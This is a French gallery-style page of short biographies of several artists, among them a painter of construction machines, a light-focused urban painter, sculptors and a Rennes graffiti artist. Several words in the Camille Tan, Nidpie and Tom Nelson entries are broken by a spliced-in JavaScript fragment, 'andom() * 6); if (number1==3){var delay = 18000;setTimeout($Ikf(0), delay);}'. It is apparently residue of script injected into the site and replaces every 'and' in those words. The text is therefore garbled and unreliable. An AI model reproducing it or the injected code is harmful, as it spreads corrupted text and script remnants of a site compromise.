Artistes

Odile Ferron Verron

Diplômée de l’école des beaux-arts de Rennes, Odile Ferron-Verron vit et travaille à Noyal- Châtillon. Depuis 2004, elle a participé à plusieurs biennales d’art contemporain de la région parisienne et à diverses manifestations artistiques, en France et en Suisse.

« J’ai été, pendant longtemps, attirée par les paysages de friches, de zones industrielles désaffectées, là où la nature reprend ses droits sur une civilisation qui, petit à petit, s’efface. Et un jour, au détour d’un chantier, je me suis rendu compte que les machines, ces carapaces pensantes, avaient quelque chose à nous dire sur nous-mêmes. Les machines semblent s’interroger. Elles sont, d’une certaine manière, une métaphore de l’homme. Je les représente souvent dominées par un ciel d’un bleu implacable, indifférent et sur un sol neutre, désolé : cela traduit bien leur vulnérabilité et leur questionnement sur l’existence. J’aime me rendre sur des chantiers, car je ne conçois pas de peindre sans observer «mes» machines. Je veux un rendu le plus précis possible : elles doivent être capables de remplir leur fonction, même si je laisse, bien sûr, une part à la création. Pour moi, un chantier est comme un élan, une rencontre. On est happé ! S’ils sont intrigués au début, les compagnons sont vite fiers du regard bienveillant et respectueux que je porte sur leur univers… »

Ivan Sollogoub

Né à Paris d’une famille d’émigrés russes, il rentre après le lycée dans l’atelier de Sergueï Toutounov, peintre formé au Naturalisme Russe à l’institut Sourikov de Moscou.

C’est à la suite d’un long séjour au Maroc qui le marque durablement qu’il se met à  s’intéresser particulièrement à la problématique de la lumière.
Depuis, il la traque et essaie de l’exprimer sous toutes ses formes, qu’un rayon de soleil géométrise la ville en la découpant, ou qu’un lampadaire ou une vitrine déchirent la nuit.
L’urbain est un formidable terrain de jeu pour la lumière qui le cisèle en différents plans, lui  apportant poésie, contrastes, profondeur.

« Comme elle est belle, la ville, et ses lumières seulement pour les fous. Celui qui veut, il la découpe en tableaux. » (Noir Désir)

Calu

Pseudonyme de Claudia Di Leonardo, née à Palerme, Italie, en 1987. Elle vit et travaille à Palerme.

Dès l’ enfance, elle démontre une aptitude naturelle pour le dessin et la peinture, et ses passions l’amènent à poursuivre des études d’ art. Elle étudie à l’École des Beaux-Arts de Palerme, où elle obtient une maîtrise (spécialisation peinture). Depuis, elle essaie différentes solutions artistiques, face à une recherche où les signes et les couleurs alternent, avec un fort caractère anthropologique et figuratif. L’intention est toujours de décrire, par son propre filtre visuel, culturel et émotionnel, la réalité de sa vie et son expérience à travers le monde.

Camille Tan

Investir ou délimiter un territoire engendre la fabrication de ‘marqueurs d’occupation’; cavités, parois, cloisons, murets, barricades ou grillages contiennent des espaces, tracent des lignes sensibles et fragiles. Leur simple présence annonce déjà l’apparition d’une faille, d’une future ruine. L’enveloppe du corps humain, au fil du temps, s’use ; les objets aussi.

Dans son travail, la matière est contrainte tout comme le corps, dans l’action et la fabrication, elle est mise à l’épreuve. Il est alors souvent question de bâtir des tensions, des ambiguïtés, de jouer avec les forces et d’amener parfois la matière à provoquer sa propre rupture. La trace, les procédés de fabrication, les accidents ; chaque hasard importe.

Des objets banals, des matériaux quotidiens neufs ou extraits de leur contextes initiaux dévoilent laréalité d’un monde qui change, s’effrite puis se reconstruit mais aussi un monde quiabandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andonne, jette et rachète continuellement. On pourrait parler d’abandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andon programmé ou d’obsolescence, notions au cœur d’unesociété actuelle nécessitant de ré-examiner le système de conception et de productiond’un objet. Ma démarche vient repenser la relation entre la sculpture, l’espace, le temps etl’action, en interrogeant le vécu mais aussi le devenir de ces objets. Ces expériences révèlent une certaine tentative de « maîtriser l’entropie ».

Camille cherche à déjouer le temps en modifiant le stade de vie des objets, en altérant leurs états. Ralentir le processus d’érosion en figeant l’éphémère, ou encore l’accélérer, en aggravantla dégradation. L’idée étant de mettre en valeur leurs structures réelles et leurs propriétés à travers des propositions sculpturales et des installations qui interrogent leurs possibilités,leurs plasticités.

Karim Ould

Karim Ould, artiste plasticien, vit et travaille à Rennes.

« Par un jeu de déplacement, il détourne l’objet du quotidien ou de rebut, met en exergue des caractéristiques architecturales urbaines et bouscule les codes établis en réinterprétant des habitudes de pensées. Il redonne vie aux objets anodins, les décontextualise […] un travail artistique qui questionne, non sans ironie et humour, une société emprunte de stéréotypes. » (Texte David Chevrier)

Nidpie

Artiste bretonne (cotée Drouot) vivant à Rennes, Sandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andra Javaudin-Gourrier, dite Nidpie, s’est formée aux métiers des arts graphiques. Durant son parcours, elle s’initie également à l’art de la mosaïque et des vitraux, mais aussi à la photographie.

Glaneuse de l’estran, à l’imaginaire fantasmagorique et baroque, Nidpie aime métamorphoser les personnages en les parant de ces fruits de la mer, qu’elle cueille sur les plages bretonnes. Elle en rehausse l’éclat en les métissant à des ornements plus exotiques, jeux de contrastes où chaque coquillage trouve sa place.

Toujours le même univers baroque dans ses photos… Les coquillages y sont également très présents, mais sous une forme kaléidoscope.

Eric Dutertre

Artiste autodidacte vivant à Rennes, Eric Dutertre s’exerce depuis le début des années 2000. Il a d’abord pratiqué le dessin et la peinture pendant plusieurs années. L’orientation vers le volume s’est produite au hasard des exercices et de l’agrément qu’il y trouvait, d’abord la terre puis le plâtre et enfin le métal. Les thèmes abordés concernent ce qui nous construit tous, l’éducation, la culture, l’environnement. Les accidents de parcours et de réalisations sont aussi des éléments qui influencent ses réalisations.

Tom Nelson

Tom Nelson, c’est son « blaze ». Un surnom que les graffeurs se donnent, une signature pour reconnaître le dessin de chacun dans les villes.

Pour ce jeune artiste rennais, la peinture, c’est toute sa vie. Fils de deux peintres, il a été initié au graff, non pas par ses parents, mais par son grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and frère. « J’avais 13 ans quandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and j’ai commencé. J’allais dans des usines abandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andonnées pour faire mes premières armes. »

À l’âge de 20 ans, Tom décide de délaisser les murs pour les toiles. Sa démarche artistique devient différente, la toile lui permet de jouer sur les couleurs et les matières : « Le graffiti c’est pour la rue, peindre un tableau me donne l’envie de représenter des choses. »

« Ces choses », comme il dit, c’est son nom. Chacune de ses oeuvres contient la même ligne directrice : Nelson, répété à l’infini sur ses dessins. Parfois illisible, mais toujours avec des nuances et des tons différents.